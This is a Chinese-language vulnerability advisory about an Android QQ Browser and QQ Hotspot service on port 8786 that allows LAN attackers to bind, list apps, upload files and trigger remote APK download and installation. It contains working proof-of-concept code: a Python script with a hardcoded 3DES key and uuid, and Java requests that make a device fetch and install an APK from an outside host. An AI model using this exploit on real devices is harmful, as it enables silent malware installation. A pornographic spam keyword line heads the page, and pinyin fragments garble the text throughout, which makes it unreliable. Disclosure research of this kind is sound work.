压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

QQ瀏覽器(Wormable Browser) 漏洞報(bào)告

漏洞說(shuō)明

安卓版QQ瀏覽器,QQ熱點(diǎn)等應(yīng)用程序在本地wifi開(kāi)始時(shí),會(huì)監(jiān)聽(tīng)本地8786端口,且監(jiān)聽(tīng)本地所有ip地址。當(dāng)攻擊方和被攻擊方處于同一局域網(wǎng)環(huán)境時(shí),通過(guò)該接口,可在局域網(wǎng)內(nèi)運(yùn)行QQ瀏覽器,QQ熱點(diǎn)的設(shè)備中上傳數(shù)據(jù)、啟動(dòng)應(yīng)用安裝等。當(dāng)這些應(yīng)用擁有root權(quán)限時(shí),可靜默安裝移動(dòng)應(yīng)用。攻擊方和被攻擊方處于不同局域網(wǎng)環(huán)境時(shí),可通過(guò)惡意鏈接,遠(yuǎn)程植入,感染與被攻擊方所在局域網(wǎng)內(nèi)所有運(yùn)行安卓版QQ瀏覽器,QQ熱點(diǎn)等應(yīng)用的主機(jī)。

漏洞詳情

發(fā)現(xiàn)過(guò)程: 通過(guò)Janus平臺(tái)搜索發(fā)現(xiàn),QQ瀏覽器會(huì)在本地開(kāi)啟服務(wù)。

Janusnetstat

應(yīng)用在獲取到連接時(shí)會(huì)在handle方法進(jìn)行處理。

通過(guò)bind命令,可以通過(guò)連接驗(yàn)證。然后利用其他命令,如downloadandinstall進(jìn)行遠(yuǎn)程控制。
bind

漏洞證明

1、 遠(yuǎn)程獲取已安裝應(yīng)用列表。

#!/usr/bin/env python2
# -*- coding: utf-8 -*-  

import requests  
import base64  
from binascii import b2a_hex, a2b_hex  
from pyDes import *

payload = ""

x_uuid = "d661d51862c23e397d14cb0eb2bf46f4"  
key = "kM7hYp8lE69UjidhlPbD98Pm"

def encode_(s):  
    e_scheme = triple_des(key, ECB, "\0\0\0\0\0\0\0\0", pad = None, padmode = PAD_PKCS5)
    r = e_scheme.encrypt(s) 
    return base64.b64encode(r)

def decode_(s):  
    b = base64.b64decode(s)
    e_scheme = triple_des(key, ECB, "\0\0\0\0\0\0\0\0", pad = None, padmode = PAD_PKCS5)
    return e_scheme.decrypt(b)

def req(payload):  
    headers = { 'Content-Length':str(len(payload)), 'Content-Type':'application/x-www-form-urlencoded',
    'Host':'127.0.0.1', 'Connection':'close', 'Accept-Encoding':'gzip'}
    try:
        r = requests.post("http://192.168.31.160:8786/bind?uuid=" + x_uuid, data=payload, headers=headers)
        r = requests.get("http://192.168.31.160:8786/getapplist?uuid=" + x_uuid)                        
    except:
        print "Error"

    print r.status_code
    print r.content
    if r != '':
        print decode_(r.content)
    print r.headers

if __name__ == "__main__":  
    stage1 = encode_("{'code':'123456','uuid':" + x_uuid + "}")
    stage2 = encode_(stage1)

    req(stage2)
2、遠(yuǎn)程下載、安裝應(yīng)用。
String apkdetail="{'pkgName':'com.wandoujia.phoenix2',"  
            + "'url':'http://a.wdjcdn.com/release/files/phoenix/5.19.1.12038/wandoujia-wandoujia-web_direct_binded_5.19.1.12038.apk',"
            + "'name':'wandoujia-wandoujia-web_direct_binded_5.19.1.12038.apk',"
            + "'fileMd5':'3808dbc7092e18ec9e375d54b027162f',"
            + "'autoOpen':'true',"
            + "'installBySys':'false',"
            //+ "'fileFolderPath':'',"
            + "'forbidRename':'true','length':'6492397','mimeType':'application/x-www-form-urlencoded','hasToast':'true',"
            + "'hasChooserDlg':'true'}";
String data=b(apkdetail,f_u);  
data=b(data,f_u);  
resp=(doPost("http://192.168.31.156:8786/downloadandinstall?uuid="+uuid, data));
3、其他如上傳文件等均可執(zhí)行。
String fileContent=Util.readFileByLines("D:\\迅雷下載\\w.apk");  
resp=(doPost("http://192.168.31.155:8786/bind?uuid="+uuid, ecStep2));  
resp=(doPost("http://192.168.31.155:8786/upload?      uuid="+uuid+"&len=6492397&start=0&time=0&name=w.apk&type=apk&fileMd5=3808dbc7092e18ec9e375d54b027162f&installBySys=true",fileContent));  

修復(fù)方案

結(jié)合這兩款應(yīng)用的應(yīng)用場(chǎng)景發(fā)現(xiàn),在鑒權(quán)方面并沒(méi)有多大的修復(fù)空間(這兩款應(yīng)用都通過(guò)2次的3DES加密交換uuid,對(duì)第三方接入進(jìn)行鑒權(quán))。因此,我們建議開(kāi)發(fā)者在第三方接入時(shí),給用戶(hù)必要的交互提示警告,確保經(jīng)過(guò)用戶(hù)授權(quán)才可以調(diào)用相關(guān)接口,從流程上對(duì)這個(gè)問(wèn)題進(jìn)行修復(fù)。 通過(guò)在盤(pán)古的Janus平臺(tái)檢索發(fā)現(xiàn),有兩款騰訊應(yīng)用受此漏洞影響。分別是QQ瀏覽器和QQ熱點(diǎn)。

uuid
其中QQ瀏覽器的影響比較大,測(cè)試發(fā)現(xiàn)包括最新版的很多版本都受這個(gè)漏洞的影響。
影響版本

漏洞發(fā)現(xiàn)者

趙帥,盤(pán)古實(shí)驗(yàn)室研究員 卜文奇,盤(pán)古實(shí)驗(yàn)室實(shí)習(xí)研究員

上一篇:伏地蟲(chóng)病毒分析報(bào)告

下一篇: